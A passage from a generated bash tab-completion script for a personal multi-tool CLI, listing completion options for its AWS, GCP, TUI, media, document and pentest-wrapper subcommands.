~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible decrypt-variable\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--file --help --variable -f -h -v")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm update-parameter\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --name --profile --region --value -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network archive-website\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--behaviors --exclude --help --keep --limit --name --output --shm-size --url --wait-until --workers -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'java analyze-with-sonar\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --sonar-login --sonar-project-key --sonar-url -h -k -l -u")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex deploy-model\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--accelerator --container-image --container-port --display-name --endpoint-name --health-route --help --location --machine-type --model-gcs-uri --predict-route --project -c -d -e -h -l -m -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development journal\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs tail-log-group\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region --since --stdout --verbose -h -p -r -s -v")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc visualizations\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm list-parameters\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development openapi\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai open-llama-api-docs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network api-client\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network mitm-proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc youtube-music\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc ascii-theater\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development readme\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development wrkflw\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network-monitoring\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ip-traffic netscanner network-diags socket-stats wavemon")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws toggle-auto-prompt\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2 list-instances\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --filter --help --profile --region -f -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible encrypt-string\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--copy-output-to-clipboard --help -c -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp get-project-number\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db bigquery\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data database-ide\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc presentation\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc file-manager\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai start-llama-server\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hf-file --hf-repo -f -h -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network proxymock\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*\'-f\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm get-parameter\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--detailed --help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'--service\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(python -c $\'import boto3\nfor service in boto3.Session().get_available_services(): print(service)\' | grep -v \'codestar\|honeycode\|mobile\|worklink\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui docker kubernetes\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document merge-pdf\'*\'-i\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest storm-breaker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network carbonyl\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document decrypt-pdf\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --output-file -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development gama\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development drft\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'backup\'*\'--backup-dest\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development jira\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws export-sso-creds\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc screensaver\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*\'--location\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean package-caches\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm windows\'*\'--version\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "11 11l 11e 10 10l 10e 8e 7e ve xp 2025 2022 2019 2016 2012 2008 2003")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development git\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network https-proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --https-port --proxy-target-host --proxy-target-port --ssl-certificate -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest aircrack-ng\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest netdiscover\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development ecs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'start-simple-server\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --port -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development gcs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development prs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*\'--project\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*\'--profile\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network mermaid-api\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox regect\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document merge-pdf\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --input-file -h -i")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development s3\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws secretsmanager\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h create-secret list-secrets show-secret")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest msfconsole\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex predict\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--endpoint-name --file --help --location -e -f -h -l")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video split-scenes\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--content-threshold --fade-threshold --help --keep-duration -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*\'--region\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'git search-history\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network warc-2-zim\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--behaviors --exclude --help --keep --limit --name --output --shm-size --url --wait-until --workers -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network elinks\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean build-caches\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network mitm-proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --port --script-file -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'generate-password\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--copy-to-clipboard --help -c -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc dev-chat\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest bettercap\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data explorer\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video boost-audio\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help --multiplier --output-file -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui dev-help wiki\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc calendar\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network tcp-proxy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --proxy-target-host --proxy-target-port --tcp-host --tcp-port -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui docker docker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox desed\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc jellyfin\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc weather\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc linutil\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest arpspoof\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document convert\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --output-file --source-format --target-format -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest ifconfig\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'date-to-iso-8601\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm mac\'*\'--version\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "15 14 13 12 11")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'java set-version\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h 11 17 21 8")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc servarr\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network ping\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network lynx\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai open-llama-ui\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox play\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h awk grep sed")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest maltego\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox jqp\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean bleachbit\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm linux\'*\'--dist\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "alma alpine arch cachy centos debian fedora gentoo kali kubuntu mint manjaro mx nixos suse oracle rocky slack tails ubuntu ubuntus xubuntu")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'install ansible\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network w3m\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video rip-audio\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help --output-file --title -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui development\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h drft ecs gama gcs git jira journal multi-host-log-viewer openapi prs readme s3 tail-logs terraform wrkflw")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'real-time-plot\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video duration\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest crunch\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'-s\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(python -c $\'import boto3\nfor service in boto3.Session().get_available_services(): print(service)\' | grep -v \'codestar\|honeycode\|mobile\|worklink\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'install docker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui monitoring\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h kernel-monitor pihole-monitor system-monitor")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc piano\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ntfy reference\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ntfy subscribe\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --sound -h -s")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc slack\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db bigquery\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc notes\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data kafka\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp artifacts\'*)' + echo $' while read -r; do 